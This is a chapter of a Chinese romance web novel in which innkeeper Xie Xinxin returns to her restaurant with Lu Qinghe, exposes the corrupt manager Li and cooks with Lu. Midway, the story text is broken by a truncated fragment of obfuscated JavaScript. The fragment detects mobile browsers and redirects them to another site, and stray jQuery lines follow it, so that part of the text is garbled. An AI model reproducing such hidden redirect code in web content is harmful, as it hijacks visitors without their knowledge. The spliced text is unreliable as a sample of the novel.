51.只是黑

作品:《钓系掌柜只想逢场作戏

    她一路紧扣着陆清和的手,将他拉扯回酒楼。


    陆清和不知该作何回应,只能僵直着被她拖行一路,像拖一块晒干了的空心木头。


    “不过要晚一些,”谢辛辛自顾自说,“玉春楼的晚膳时候最忙了,我好久没回来,得回去看顾着些,不知那些伙计们有没有惫懒了。”


    “不……”


    陆清和声音轻得散在风里。


    谢辛辛:“什么?”


    陆清和:“……不用麻烦,你去忙便是。”


    “推辞什么?”谢辛辛将抓住他的手抬起来,像炫耀战利品一般,在二人眼前晃了晃。


    她笑道:“我可没有问你的意见。”


    说着也不顾他人目光,二人执手踏进了玉春楼的大门。


    不等陆清和反应过来,谢辛辛先面对着大堂食客,高声喊了一句:


    “诸位——”


    她声色本就清亮,再加上酒楼常客对她多有熟悉,一听她的声音,鼎沸人声渐渐静了下来,众人的注意力都集中在了她身上。


    相熟的客人一眼认出她来,“谢小掌柜回来啦!”


    “这个月没看见你,酒也喝得不够味儿。”


    谢辛辛横他一眼,笑骂道:“不够味儿也没见您多喝两盅呢?别跟我扯皮,今儿有大事和你们宣布。”


    被她这么一挑起噱头,食客们顿时七嘴八张,又见她和一俊美郎君互相牵着手,瞬间嘴里说什么的都有。


    “小掌柜,这趟出门莫不是带了个老板娘回来?”


    陆清和一滞。


    老板娘,什么老板娘?


    莫非是说自己?


    说话那人正眯眼上下打量陆清和,“老板娘眉清目秀,我看和谢小掌柜挺般配……”


    陆清和额角跳了跳,才被盯得有些不自在,又被路人这话说得生不起气来。


    谢辛辛也不否认,只向大家甜甜一笑,“说什么呢?我是说,今儿我做主,七日内,我玉春楼的酒钱都打八折!”


    大堂顿时炸了锅,惹得二楼厢房内都有人出来看热闹,朝楼下不住吹着口哨。众人沸腾:“还说不是?若不是自个儿有喜事,这辈子还能从谢小掌柜口袋里掏出银子来?说吧,被谢小掌柜相中的是什么人呢?”


    “他呀,”谢辛辛揽过陆清和的臂膊,随口道,“在云京当差呢,负责大案子的。大理寺知不知道?赶明儿我玉春楼开到云京去了,你们可得来捧场。”


    听到大理寺当差,陆清和闭上眼睛,从后面拽了拽她。谢辛辛只当他脸皮薄,笑嘻嘻地与客人客套两句就要回后院休息。


    依赵都云所言,今日她给陆清和的饭食里下了毒药,还会有宣王府的暗卫来负责收尾。她如今不知暗卫是谁,需得大张旗鼓将自己和陆清和摆到明面上,只盼暗卫或许会自己现身。


    谁成想有个声音突兀地传出来:“谁说的酒水八折?问过我没有?”


    人们便往出声的地方看去,就见李管事胖头胖脑的,从后厨间钻了出来,“我当是谁,原来是谢掌柜。”


    李管事眼里冒精光,却还努力堆着笑容,包子般的脸挤出沟沟壑壑:“酒水八折,我还有什么赚头?我看谢小掌柜去邺州游山玩水回来,连盘账的本事也不会了,还是歇着去吧。”


    堂下立时嘘声一片。


    “李掌柜的,你太不厚道。”


    “就是啊,大好的日子,谢掌柜一言既出,你在这掺和什么?”


    “自打李掌柜来了之后,这酒菜总缺斤少两不说,酒钱也总是多算。若不是知道谢小掌柜还有回来的这一日,我早不来了!”


    李管事脸上青一阵白一阵,心想好不识好歹的客人,这玉春楼本就是为世子殿下洗钱的手衣,世子那份银子他不敢动,只能在这帮普通食客身上来捞点油水。谢辛辛一回来就给打了八折,那自己想赚银子还从哪克扣?


    想着就上了火,向多嘴的那一桌翻着白眼:“去,不打折,不爱吃别吃。”


    “嘿?你这人……”


    谢辛辛把陆清和往院子里一推,上前打断他们:“吵什么吵什么!别吵着我家这位的清净。”


    陆清和:“……”


    感觉怪怪的,但决定安然受之。


    李管事便道:“谢小掌柜,我可是跟你一头的,你掂量掂量。”


    言下之意,自然是他们二人都是赵世子的人手,同一个世子手里做事,低头不见抬头见的,胳膊肘别往外拐。


    谢辛辛会意一笑。


    “李管事说的是啊。”谢辛辛转向那位和他呛声的客人,“退一万步讲,难道你就没有错吗?”


    客人愕然道:“我有何错?你酒楼当家的说了给我们打折,他凭什么?”


    李管事宛若得了谢辛辛的默许,得意万分,此刻乜斜着眼睛,哼出一个鼻音。


    谢辛辛正色道:“错就错在……”


    “……就错在他李贵算个什么东西,你们叫他李掌柜?他也配?”


    李管事:“说得好!……嗯?啊?你说什么?”


    谢辛辛挽了挽袖子,又不知从哪熟门熟路地抽出一个绛色围裙,在腰间一扎,霎时就有了掌柜模样,仿佛从未离开过玉春楼似的。


    她索性手指点着李管事的鼻子:“狗仗人势的东西,得点便宜就想学主人形,前脚还在我这自称奴才,如今都敢自称什么‘李掌柜’了。怎知家畜再怎么叫唤也还是家畜。你们管他说什么,我说酒钱八折就是八折,谁若多出一个铜子儿,便是看不起我谢辛辛。”


    “我谢家经商多年,虽一朝倾覆,但谢家家训我一直铭记于心:商贾之道,在广交朋友,大开日中市,广招天下财。而非逐什一之利,损人利己。敢问李管事,你有盘账的本事,我问问你,接手玉春楼这几日,你中饱私囊了多少银子?”


    李管事气得大骂:“是你亲手将玉春楼的账本交到我手上,是你说这玉春楼的营生是‘东风’,让我乘上……”


    谢辛辛:“大家听听,他说得倒像是我教他贪图小利的。”


    “你!……你!”李管事气急,百口莫辩。


    谢辛辛把账本给他的时候,话里话外都暗示着此处有油水可捞,可却从未明说,如今倒让他哑口无言。


    众人只是听得痛快,大叫:“好!”


    不止食客们觉得出了一口气,门口甚至也传来几声少年意气的叫好声,谢辛辛抬眼望去,却是几个面生的书生。


    书生们年轻脸嫩,压根消费不起玉春楼的东西,只是路过见到此情此景,见这位掌柜仗义执言,忍不住为谢辛辛叫好。


    冷不防成了众人目光的中心,书生们慌忙朝大家拱了拱手,跑开了。倒惹得食客们一笑。


    谢辛辛没将这些年轻人放在心上,只看了李管事一眼,悠悠道:“你还是顾好你自己吧。我回来了,你也不必继续在玉春楼待着了,将账本还了我,自个儿找世子殿下复命便是。”


    “你倒是会做美梦。”李管事皮笑肉不笑,以为总算找到能拿捏她之处,“我偏不给,你能怎么着。我留不下玉春楼,还留不下这几日玉春楼赚的银子么?”


    未想谢辛辛嫣然道:“不给就不给吧。那点银子我也不稀罕,你在世子殿下那儿说的过去就行。”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928195|130187||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >李管事一懵:“此话当真?你不稀罕,我可就真收下了?”


    谢辛辛:“当真。”


    李管事挠了挠头:“……那,多谢谢小掌柜?”


    谢辛辛一笑,没再理他,拉上角落看戏的陆清和就走。


    再跑慢点可能就要笑出声来了。


    ……


    玉春楼的大厨房是主楼后面单独的一间厢屋,开业时厨傅们多在大厨房忙活。小厨房则是院子后面紧挨着住处的一间小房,专供食宿在酒楼内伙计,比如茗琅刘宛等自己开小灶。


    谢辛辛此时就在小厨房里,对着一箩筐的米面瓜叶沉思。


    陆清和倚在门口,笑而不语地看着她。


    谢辛辛抬头对上他的眼睛:“看什么呢。”


    陆清和笑道:“早就知道你对李管事有自己的安排,还没问过你是怎么想的。”


    谢辛辛对他余气未消,只说了四个字“不告诉你”,就低头摘起菜来。


    陆清和也不恼,笑着说:“他刚才还谢谢你。”


    想到李管事那个样子,谢辛辛才微微笑了:


    “将死之人,其言也善罢了。”


    “还不知赵都云怎么处置他。真希望世间真有炼狱,我若知道他下了地狱能被火煎被油烤,再想到胡夫人,我心中才能安心些。”


    “自然,”她顿了顿,失了笑容,“若真有无间地狱,害了我谢家的人也应在其中。”


    空气一时静默。


    她不知道陆清和想了些什么,过了好一会儿,耳边突然响起洗涮的声音。


    是陆清和在旁边替她洗菜。


    谢辛辛手上动作停了一瞬,知道他是不懂怎么安慰自己,只道:“你回屋去等着就行了,说了让你尝尝我的手艺,就不要你帮忙。”


    陆清和问:“为何突然有这个念头?”


    谢辛辛:“没有为什么,难不成要我说因为我要给你下毒?”


    确实如此。


    陆清和接过她手里的小藤篮,“那我也可以帮你。”


    谢辛辛:“啊?”


    陆清和:“我帮你烧火。”


    说着便拿着一篮子黑漆漆的东西,就要给灶下添炭。


    “烧什么火……”谢辛辛拦着他的手,“我给你下毒,你帮我烧火?你莫不是缺心眼吧!”


    “不碍事。”陆清和不顾她的阻拦,执意要添炭。


    谢辛辛高声道:“别动了!”


    他被谢辛辛一喝,转过头来认真地看着她:“为何生气?”


    从前所有时间的陆清和,都没有近两日的他令谢辛辛困惑。


    “都说了让你别帮忙,你不听,倒问我为何生气。”她摸了摸陆清和的脑门,“你这两天怎么了,好奇怪。我还以为你喜欢我……”


    他张了张口,想到她曾言提及北瑛王府来使的卷宗,最终没有说心里的那几个字。


    百转千回,他只是闷闷地:“我是说今日,你好像一直生气。”


    “消消气。”


    说这话的时候,他素白的袖子染上了灶上的黑灰。


    陆清和将袖子往身后藏了藏。


    只觉得自己心上,好像也有一处蒙上了尘埃,让他无法清明。


    这是莲州的尘埃,是莲州玉春楼的掌柜衣袖挥洒之间,在一颗孤高之心上落下的尘埃,微小几粒,如千斤重,压得他整个人从白雪皑皑的十常山顶坠入人间。


    谢辛辛失语片刻,将他藏着的袖子拎了出来,好生擦了擦,无奈道:


    “可你拿的这一篮是菱角。”


    “它只是长得黑,不是木炭。”